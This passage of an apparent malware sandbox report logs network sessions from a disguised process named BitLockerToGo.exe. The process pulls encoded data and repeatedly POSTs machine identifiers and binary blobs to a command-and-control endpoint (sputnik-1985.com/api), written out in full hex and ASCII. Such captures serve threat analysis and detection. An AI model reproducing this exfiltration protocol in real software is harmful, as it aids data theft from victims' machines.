{"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffc03d4fe2cc323-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1461&min_rtt=1456&rtt_var=557&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2839&recv_bytes=986&delivery_rate=1942781&cwnd=214&unsent_bytes=0&cid=e3ba36ac11e84630&ts=492&x=0"
2025-01-10 10:34:30 UTC	252	IN	Data Raw: 34 33 30 63 0d 0a 43 53 47 67 55 72 61 37 5a 35 43 5a 32 68 56 4e 47 77 73 36 7a 43 4a 48 77 30 71 38 6f 61 58 51 57 44 77 65 6e 66 76 31 35 35 4e 79 41 39 5a 77 6a 49 39 4c 73 75 71 2f 4e 33 64 39 61 6c 61 2f 52 32 76 68 4b 39 69 44 6e 37 59 35 55 47 33 34 31 39 65 52 2f 69 73 62 78 6a 50 61 79 41 4b 38 75 37 39 74 62 79 46 51 51 65 35 48 4b 65 46 77 6e 73 54 50 73 6a 6c 51 66 50 79 51 6d 70 66 2f 61 6b 6e 4d 4e 64 37 65 42 50 54 34 74 6e 67 6f 66 6d 35 62 70 6b 77 75 72 69 4c 52 67 34 6e 79 50 55 59 38 70 39 6d 34 67 75 64 6f 62 4d 45 68 33 5a 6b 61 76 4f 4c 34 63 43 4d 35 4d 52 69 74 52 79 57 76 4c 4e 6a 4b 7a 62 67 77 57 48 33 35 6b 59 57 4f 39 57 46 4a 77 6a 62 66 31 41 33 67 39 62 78 2f 49 33 68 6b 57 2b 34 4f 5a 61 59 77 6e 70 75 48 34 51 Data Ascii: 430cCSGgUra7Z5CZ2hVNGws6zCJHw0q8oaXQWDwenfv155NyA9ZwjI9Lsuq/N3d9ala/R2vhK9iDn7Y5UG3419eR/isbxjPayAK8u79tbyFQQe5HKeFwnsTPsjlQfPyQmpf/aknMNd7eBPT4tngofm5bpkwuriLRg4nyPUY8p9m4gudobMEh3ZkavOL4cCM5MRitRyWvLNjKzbgwWH35kYWO9WFJwjbf1A3g9bx/I3hkW+4OZaYwnpuH4Q
2025-01-10 10:34:30 UTC	1369	IN	Data Raw: 68 64 62 65 36 4d 6d 70 58 33 4b 31 79 4d 4b 5a 54 65 43 62 4b 6a 2b 48 38 6a 64 32 78 62 6f 55 63 6b 6f 54 72 52 77 38 53 36 4d 6c 70 32 38 4a 61 59 69 2f 74 73 53 38 73 33 32 39 34 4e 39 50 53 37 4e 32 45 35 62 6b 44 75 47 47 57 42 4f 4e 33 41 30 37 38 72 48 6d 4f 78 67 4e 65 43 2f 53 73 62 67 6a 62 61 32 41 6a 79 36 62 42 38 4a 48 78 37 55 36 64 4e 4b 4b 45 6c 31 4d 7a 45 73 6a 31 55 64 76 43 54 6b 34 6a 38 62 55 50 43 63 4a 71 5a 41 75 71 37 34 44 63 4d 66 48 6c 66 6f 6c 5a 6e 6d 32 6a 42 6a 64 37 79 50 56 49 38 70 39 6d 66 67 50 4a 6f 53 4d 30 7a 33 4e 49 58 38 75 6d 2b 65 69 70 72 62 31 32 67 53 69 61 7a 49 74 44 46 78 4c 73 78 56 33 6e 34 6e 64 66 4c 73 57 78 62 67 6d 69 55 2b 41 6a 35 39 37 4a 67 4c 7a 6c 32 46 72 63 41 49 71 31 6f 68 6f 50 44 73 Data Ascii: hdbe6MmpX3K1yMKZTeCbKj+H8jd2xboUckoTrRw8S6Mlp28JaYi/tsS8s3294N9PS7N2E5bkDuGGWBON3A078rHmOxgNeC/Ssbgjba2Ajy6bB8JHx7U6dNKKEl1MzEsj1UdvCTk4j8bUPCcJqZAuq74DcMfHlfolZnm2jBjd7yPVI8p9mfgPJoSM0z3NIX8um+eiprb12gSiazItDFxLsxV3n4ndfLsWxbgmiU+Aj597JgLzl2FrcAIq1ohoPDs
2025-01-10 10:34:30 UTC	1369	IN	Data Raw: 2f 6e 6f 2f 46 71 53 74 79 31 54 75 57 37 41 62 38 39 62 39 68 62 32 59 6e 51 65 35 48 4b 65 46 77 6e 73 37 50 74 7a 39 52 66 66 57 58 6b 6f 2f 39 59 30 33 42 49 74 76 64 42 66 37 7a 73 6e 6f 68 66 57 46 52 70 55 73 6a 6f 53 6e 55 67 34 6e 79 50 55 59 38 70 39 6d 6a 67 76 31 6d 54 49 41 46 31 39 63 4c 39 65 33 34 61 47 46 67 4b 56 2b 69 41 48 33 68 4a 4e 66 44 7a 4c 67 2b 58 6e 76 79 6e 4a 53 43 38 6d 5a 45 79 44 37 54 33 51 6e 37 39 72 35 33 4b 48 31 73 53 71 74 4a 4b 61 31 6f 6b 49 50 41 71 6e 6f 47 50 4e 43 65 67 59 62 65 61 46 4c 4c 63 4d 75 58 48 4c 4c 38 74 44 64 33 4f 57 35 64 70 6b 73 6a 71 53 6a 4d 78 73 6d 35 4f 31 52 36 2f 70 53 62 67 2f 46 71 51 38 51 38 31 4e 34 43 34 4f 6d 39 63 54 31 7a 4b 52 62 75 52 7a 33 68 63 4a 37 31 31 36 55 72 53 44 Data Ascii: /no/FqSty1TuW7Ab89b9hb2YnQe5HKeFwns7Ptz9RffWXko/9Y03BItvdBf7zsnohfWFRpUsjoSnUg4nyPUY8p9mjgv1mTIAF19cL9e34aGFgKV+iAH3hJNfDzLg+XnvynJSC8mZEyD7T3Qn79r53KH1sSqtJKa1okIPAqnoGPNCegYbeaFLLcMuXHLL8tDd3OW5dpksjqSjMxsm5O1R6/pSbg/FqQ8Q81N4C4Om9cT1zKRbuRz3hcJ7116UrSD
2025-01-10 10:34:30 UTC	1369	IN	Data Raw: 6a 66 6c 6b 54 4d 59 2b 30 74 38 49 39 2f 53 79 5a 53 64 33 5a 46 4f 68 53 7a 65 68 4a 64 72 50 77 37 6f 78 56 44 79 78 32 5a 43 64 73 54 4d 44 39 7a 33 62 32 51 62 6b 75 36 63 35 4e 6a 6c 75 56 4f 34 59 5a 61 30 6d 33 73 7a 4c 76 6a 46 57 66 66 4f 58 6b 49 44 34 59 30 76 51 4d 64 44 52 42 50 7a 30 75 58 4d 71 66 47 31 66 71 6b 59 71 34 57 61 65 78 4e 2f 79 59 68 35 54 32 4b 7a 56 70 4d 73 72 58 49 77 70 6c 4e 34 4a 73 71 50 34 65 79 78 31 59 56 65 6f 53 53 6d 72 49 64 58 50 7a 4c 59 32 56 33 6e 35 6d 4a 4b 41 38 47 39 50 79 44 62 58 32 67 72 39 39 4c 41 33 59 54 6c 75 51 4f 34 59 5a 59 51 2f 31 63 33 42 38 69 55 51 5a 62 2b 65 6d 38 57 70 4b 30 2f 4c 4e 74 4c 63 43 66 50 39 73 48 49 6e 66 57 68 65 71 45 4d 71 70 53 33 66 7a 4d 4f 2b 4e 46 52 39 2f 70 57 Data Ascii: jflkTMY+0t8I9/SyZSd3ZFOhSzehJdrPw7oxVDyx2ZCdsTMD9z3b2Qbku6c5NjluVO4YZa0m3szLvjFWffOXkID4Y0vQMdDRBPz0uXMqfG1fqkYq4WaexN/yYh5T2KzVpMsrXIwplN4JsqP4eyx1YVeoSSmrIdXPzLY2V3n5mJKA8G9PyDbX2gr99LA3YTluQO4YZYQ/1c3B8iUQZb+em8WpK0/LNtLcCfP9sHInfWheqEMqpS3fzMO+NFR9/pW
2025-01-10 10:34:30 UTC	1369	IN	Data Raw: 45 7a 47 4e 39 6a 66 43 76 54 36 76 58 30 6a 66 6d 78 54 6f 55 78 6c 37 32 6a 5a 32 34 66 71 65 6e 42 33 37 49 36 55 69 2f 70 39 57 49 49 76 6d 73 42 46 39 66 66 34 4c 32 39 36 59 6c 4f 71 51 43 6d 68 4c 4e 50 44 31 62 30 39 57 58 58 30 69 35 32 43 39 6d 42 4c 79 54 2f 53 79 77 6e 38 36 62 31 6c 50 54 6b 6e 47 4b 6c 59 5a 66 6c 6f 36 4d 54 58 6f 6a 6b 63 54 65 6d 61 67 59 37 38 5a 77 50 64 66 73 32 5a 41 76 36 37 34 44 63 70 64 6d 42 62 6f 55 45 73 72 53 58 62 79 73 4b 7a 50 46 70 32 39 5a 6d 52 67 2f 42 75 53 63 45 78 33 74 41 43 2b 76 79 37 5a 57 38 33 4b 56 2b 32 41 48 33 68 41 64 6e 52 79 61 4a 36 51 54 4c 6d 32 5a 43 4a 73 54 4d 44 78 6a 72 62 33 51 4c 2b 2f 62 31 78 49 6e 68 6d 57 61 35 50 49 61 6f 68 32 4d 4c 4b 74 7a 64 61 62 76 57 53 6d 49 6e 34 Data Ascii: EzGN9jfCvT6vX0jfmxToUxl72jZ24fqenB37I6Ui/p9WIIvmsBF9ff4L296YlOqQCmhLNPD1b09WXX0i52C9mBLyT/Sywn86b1lPTknGKlYZflo6MTXojkcTemagY78ZwPdfs2ZAv674DcpdmBboUEsrSXbysKzPFp29ZmRg/BuScEx3tAC+vy7ZW83KV+2AH3hAdnRyaJ6QTLm2ZCJsTMDxjrb3QL+/b1xInhmWa5PIaoh2MLKtzdabvWSmIn4
2025-01-10 10:34:30 UTC	1369	IN	Data Raw: 58 65 31 41 62 39 2b 4b 70 32 4b 57 74 70 56 61 52 53 4c 36 6f 74 30 38 37 4b 73 54 78 59 64 2f 4f 4c 6e 6f 58 79 59 41 4f 4d 63 4e 50 42 52 61 71 37 6d 32 41 35 63 32 35 55 75 45 73 6b 6f 6a 37 54 30 34 66 38 65 6b 39 37 37 74 6e 50 6b 2b 46 38 52 4e 31 2b 7a 5a 6b 43 2f 72 76 67 4e 79 6c 77 62 31 2b 6f 54 6a 65 6b 4c 74 48 4d 7a 72 73 2b 56 6e 2f 2f 6e 5a 4f 43 39 47 68 50 79 54 66 58 31 67 48 37 39 62 46 34 62 7a 63 70 58 37 59 41 66 65 45 4a 78 63 44 4c 76 33 70 42 4d 75 62 5a 6b 49 6d 78 4d 77 50 4f 50 74 48 5a 44 2f 54 2f 76 58 45 6c 66 47 6c 54 72 55 38 68 70 79 7a 52 77 38 79 37 4f 31 68 35 39 5a 4b 52 69 50 4a 74 52 59 4a 2b 6c 4e 34 64 73 71 50 34 56 7a 52 30 5a 56 2f 75 58 32 75 34 61 4e 6e 50 68 2b 70 36 56 58 44 37 6e 70 65 49 38 6d 4e 47 78 Data Ascii: Xe1Ab9+Kp2KWtpVaRSL6ot087KsTxYd/OLnoXyYAOMcNPBRaq7m2A5c25UuEskoj7T04f8ek977tnPk+F8RN1+zZkC/rvgNylwb1+oTjekLtHMzrs+Vn//nZOC9GhPyTfX1gH79bF4bzcpX7YAfeEJxcDLv3pBMubZkImxMwPOPtHZD/T/vXElfGlTrU8hpyzRw8y7O1h59ZKRiPJtRYJ+lN4dsqP4VzR0ZV/uX2u4aNnPh+p6VXD7npeI8mNGx
2025-01-10 10:34:30 UTC	1369	IN	Data Raw: 54 2f 2b 75 2f 4e 78 41 33 4b 55 44 75 47 47 57 55 4b 39 44 4e 77 4b 51 72 45 31 76 70 6b 35 43 56 39 6e 78 4d 67 6e 36 55 33 30 57 71 71 50 59 33 4b 32 67 70 41 50 34 53 66 76 52 37 69 5a 4f 56 72 58 52 48 50 4f 6e 5a 7a 39 65 2f 4b 31 47 43 61 4a 53 65 42 75 44 70 76 6e 51 35 65 69 35 6d 6b 47 63 2f 72 43 37 4a 30 76 6d 4d 50 55 52 78 2b 59 36 47 79 65 52 6f 54 63 77 33 77 70 6c 4c 73 76 54 34 4c 78 59 35 49 52 69 52 44 6d 57 35 61 49 61 44 38 72 45 30 55 48 76 70 69 4e 71 69 36 32 5a 46 31 53 47 55 6c 30 58 30 75 2b 41 6e 59 54 6c 74 53 65 34 59 64 66 4e 7a 69 35 43 51 34 6d 68 42 4d 75 62 5a 67 63 57 70 4f 51 32 43 49 70 53 42 52 62 58 34 71 6d 55 70 65 6e 39 62 36 58 34 62 6a 79 2f 59 78 73 43 69 65 48 42 33 36 35 37 58 79 37 46 6b 41 35 6f 4a 6c 4a Data Ascii: T/+u/NxA3KUDuGGWUK9DNwKQrE1vpk5CV9nxMgn6U30WqqPY3K2gpAP4SfvR7iZOVrXRHPOnZz9e/K1GCaJSeBuDpvnQ5ei5mkGc/rC7J0vmMPURx+Y6GyeRoTcw3wplLsvT4LxY5IRiRDmW5aIaD8rE0UHvpiNqi62ZF1SGUl0X0u+AnYTltSe4YdfNzi5CQ4mhBMubZgcWpOQ2CIpSBRbX4qmUpen9b6X4bjy/YxsCieHB3657Xy7FkA5oJlJ
2025-01-10 10:34:30 UTC	1369	IN	Data Raw: 2b 43 39 39 4e 79 6c 63 76 77 42 39 38 58 71 46 6c 70 54 6c 61 67 78 6a 73 59 44 58 6b 37 45 7a 45 59 78 77 78 70 6c 64 73 72 79 37 5a 54 31 2f 61 6b 36 74 42 78 75 66 44 39 44 45 78 71 51 71 53 58 4f 77 74 36 47 6b 7a 31 56 57 77 54 37 61 33 68 50 6a 75 2f 59 33 49 44 6b 78 59 65 34 49 5a 5a 35 6d 6e 74 75 48 36 6e 70 72 66 2f 47 58 6b 4a 50 67 4a 6d 54 4d 4e 39 58 50 46 65 58 30 39 31 6b 5a 57 43 6b 57 37 6b 5a 6c 2b 58 71 51 67 38 4f 6a 65 67 59 73 72 63 4c 43 31 71 59 37 45 64 31 2b 7a 5a 6b 54 73 71 50 71 4f 57 39 72 4b 51 44 75 42 79 61 7a 4f 74 6a 41 30 62 46 39 59 45 4c 59 6c 35 43 45 35 33 74 4f 7a 68 48 58 79 41 2f 4d 78 61 31 30 49 58 64 75 54 72 38 41 61 2b 45 6e 6e 70 76 2b 38 6e 49 65 51 37 48 5a 6a 38 57 70 4b 33 62 42 50 74 72 65 45 2b 4f Data Ascii: +C99NylcvwB98XqFlpTlagxjsYDXk7EzEYxwxpldsry7ZT1/ak6tBxufD9DExqQqSXOwt6Gkz1VWwT7a3hPju/Y3IDkxYe4IZZ5mntuH6nprf/GXkJPgJmTMN9XPFeX091kZWCkW7kZl+XqQg8OjegYsrcLC1qY7Ed1+zZkTsqPqOW9rKQDuByazOtjA0bF9YELYl5CE53tOzhHXyA/Mxa10IXduTr8Aa+Ennpv+8nIeQ7HZj8WpK3bBPtreE+O
2025-01-10 10:34:30 UTC	1369	IN	Data Raw: 45 64 58 64 62 78 48 4e 61 4a 71 38 73 54 4b 76 67 52 67 53 2b 36 65 68 38 66 58 61 46 58 42 63 4a 71 5a 48 62 4b 6a 2b 46 6f 39 66 6e 6c 62 37 47 77 69 72 43 53 65 33 49 6d 72 65 6b 67 38 70 38 72 5a 78 65 4d 72 47 34 4a 33 31 38 73 58 39 50 69 75 64 47 68 48 56 33 57 38 52 7a 57 69 61 75 2f 4f 77 36 51 76 58 57 7a 34 70 36 6d 6f 34 32 78 54 77 58 4c 78 34 30 66 44 37 62 74 33 49 58 34 70 46 75 35 59 5a 66 6c 6f 38 39 48 41 6f 6a 6b 63 57 63 58 62 70 70 50 79 61 30 33 46 63 4a 71 5a 43 62 4b 6a 2b 48 6f 39 66 6e 6c 62 34 6b 63 2f 70 6d 6a 42 6a 64 37 79 4c 42 34 6b 72 4e 66 58 6c 37 45 7a 41 34 55 2b 32 64 67 47 2f 50 69 71 5a 53 6c 36 66 31 76 70 66 68 75 4f 49 39 2f 54 79 71 4d 33 57 6d 72 42 70 37 43 44 39 47 78 39 2f 41 66 46 33 68 57 77 33 62 74 68 Data Ascii: EdXdbxHNaJq8sTKvgRgS+6eh8fXaFXBcJqZHbKj+Fo9fnlb7GwirCSe3Imrekg8p8rZxeMrG4J318sX9PiudGhHV3W8RzWiau/Ow6QvXWz4p6mo42xTwXLx40fD7bt3IX4pFu5YZflo89HAojkcWcXbppPya03FcJqZCbKj+Ho9fnlb4kc/pmjBjd7yLB4krNfXl7EzA4U+2dgG/PiqZSl6f1vpfhuOI9/TyqM3WmrBp7CD9Gx9/AfF3hWw3bth

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49796	104.21.48.1	443	6204	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 10:34:31 UTC	278	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=1HOV66FNDB7NHB User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12818 Host: sputnik-1985.com
2025-01-10 10:34:31 UTC	12818	OUT	Data Raw: 2d 2d 31 48 4f 56 36 36 46 4e 44 42 37 4e 48 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 43 31 42 38 34 30 43 34 45 44 35 46 35 38 46 34 45 43 30 45 39 37 39 46 31 31 37 36 39 42 35 0d 0a 2d 2d 31 48 4f 56 36 36 46 4e 44 42 37 4e 48 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 31 48 4f 56 36 36 46 4e 44 42 37 4e 48 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 48 70 4f 6f 49 68 2d 2d 62 64 34 65 38 31 39 35 31 33 30 36 0d 0a 2d 2d 31 Data Ascii: --1HOV66FNDB7NHBContent-Disposition: form-data; name="hwid"2C1B840C4ED5F58F4EC0E979F11769B5--1HOV66FNDB7NHBContent-Disposition: form-data; name="pid"2--1HOV66FNDB7NHBContent-Disposition: form-data; name="lid"HpOoIh--bd4e81951306--1
2025-01-10 10:34:32 UTC	1130	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 10:34:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=pvmaui4betlbe2f7m4hagi96vg; expires=Tue, 06 May 2025 04:21:11 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=sXGeP4Fl1k5PlgZFPG0l%2BLaoaq9sC4bbbUxHrGvuYY%2FommYferazbbfV%2B0%2F6U0S3PsuVaSsn7f%2FKCDpDiWMATv89lWWFtFiDMnPRlGW4q70zRFXMyOAv59skh6jmP%2BM8bJa8"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffc03dcbb49c461-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1588&min_rtt=1581&rtt_var=608&sent=8&recv=16&lost=0&retrans=0&sent_bytes=2840&recv_bytes=13754&delivery_rate=1778319&cwnd=228&unsent_bytes=0&cid=085369153f1f20da&ts=545&x=0"
2025-01-10 10:34:32 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2025-01-10 10:34:32 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49805	104.21.48.1	443	6204	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 10:34:33 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=GR9J0UZM8CJ54HBX912 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15090 Host: sputnik-1985.com
2025-01-10 10:34:33 UTC	15090	OUT	Data Raw: 2d 2d 47 52 39 4a 30 55 5a 4d 38 43 4a 35 34 48 42 58 39 31 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 43 31 42 38 34 30 43 34 45 44 35 46 35 38 46 34 45 43 30 45 39 37 39 46 31 31 37 36 39 42 35 0d 0a 2d 2d 47 52 39 4a 30 55 5a 4d 38 43 4a 35 34 48 42 58 39 31 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 47 52 39 4a 30 55 5a 4d 38 43 4a 35 34 48 42 58 39 31 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 48 70 4f 6f 49 68 2d 2d 62 64 Data Ascii: --GR9J0UZM8CJ54HBX912Content-Disposition: form-data; name="hwid"2C1B840C4ED5F58F4EC0E979F11769B5--GR9J0UZM8CJ54HBX912Content-Disposition: form-data; name="pid"2--GR9J0UZM8CJ54HBX912Content-Disposition: form-data; name="lid"HpOoIh--bd
2025-01-10 10:34:33 UTC	1118	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 10:34:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ek1go8dpjibfrap205fluke684; expires=Tue, 06 May 2025 04:21:12 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5jXoVrHKzuzmiCdKFeeBuGikeW08AeyeV2MVk5E3tXyPXVRfyhDwydzyCRSaNm0evb6siTKd33M3V76ALppibuVuR42Etpibu2c8ZjxC8ezgOoKuP3xskZoRTIe0lAKN53nH"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffc03e5c8438cda-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1961&min_rtt=1943&rtt_var=764&sent=9&recv=18&lost=0&retrans=0&sent_bytes=2840&recv_bytes=16031&delivery_rate=1399137&cwnd=243&unsent_bytes=0&cid=a15be5b69896ca35&ts=558&x=0"
2025-01-10 10:34:33 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2025-01-10 10:34:33 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	61984	104.21.48.1	443	6204	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 10:34:34 UTC	279	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=ZYZGZAHRUJ4BYWG User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20556 Host: sputnik-1985.com
2025-01-10 10:34:34 UTC	15331	OUT	Data Raw: 2d 2d 5a 59 5a 47 5a 41 48 52 55 4a 34 42 59 57 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 43 31 42 38 34 30 43 34 45 44 35 46 35 38 46 34 45 43 30 45 39 37 39 46 31 31 37 36 39 42 35 0d 0a 2d 2d 5a 59 5a 47 5a 41 48 52 55 4a 34 42 59 57 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 5a 59 5a 47 5a 41 48 52 55 4a 34 42 59 57 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 48 70 4f 6f 49 68 2d 2d 62 64 34 65 38 31 39 35 31 33 30 36 0d 0a Data Ascii: --ZYZGZAHRUJ4BYWGContent-Disposition: form-data; name="hwid"2C1B840C4ED5F58F4EC0E979F11769B5--ZYZGZAHRUJ4BYWGContent-Disposition: form-data; name="pid"3--ZYZGZAHRUJ4BYWGContent-Disposition: form-data; name="lid"HpOoIh--bd4e81951306
2025-01-10 10:34:34 UTC	5225	OUT	Data Raw: 89 c4 4d c9 4d d9 5a b5 da 68 27 0c 46 c7 33 b7 ee 57 14 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 75 6e 20 0a e6 d6 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 ce 0d 46 c1 dc ba 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d6 b9 81 28 98 5b f7 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 3a 37 18 05 73 eb 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 e7 06 a2 60 6e dd 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 eb dc 60 14 cc ad fb Data Ascii: MMZh'F3Wun 4F([:7s~X`nO`
2025-01-10 10:34:35 UTC	1129	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 10:34:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=qqafddt050rmr7n8moi8ucfpe1; expires=Tue, 06 May 2025 04:21:13 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=r3XaFeDiM%2F8kDgNi%2BpE9FPdnoJMxXlD2r3qAj6gBYbV0dAuY2fB%2B4FawGvn8j%2BuhcpnReJnsWXM2Is0y6vNCCH5YCa%2BL2l1mIjcaSVFAWX9aEXjpwSnnigyocgtV6BbMpJsk"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffc03edd803c461-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1564&min_rtt=1558&rtt_var=597&sent=11&recv=25&lost=0&retrans=0&sent_bytes=2840&recv_bytes=21515&delivery_rate=1811414&cwnd=228&unsent_bytes=0&cid=08f255db4e0d3b08&ts=633&x=0"
2025-01-10 10:34:35 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2025-01-10 10:34:35 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	62001	104.21.48.1	443	6204	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 10:34:37 UTC	275	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=IBNC1KXRCOYG User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1217 Host: sputnik-1985.com
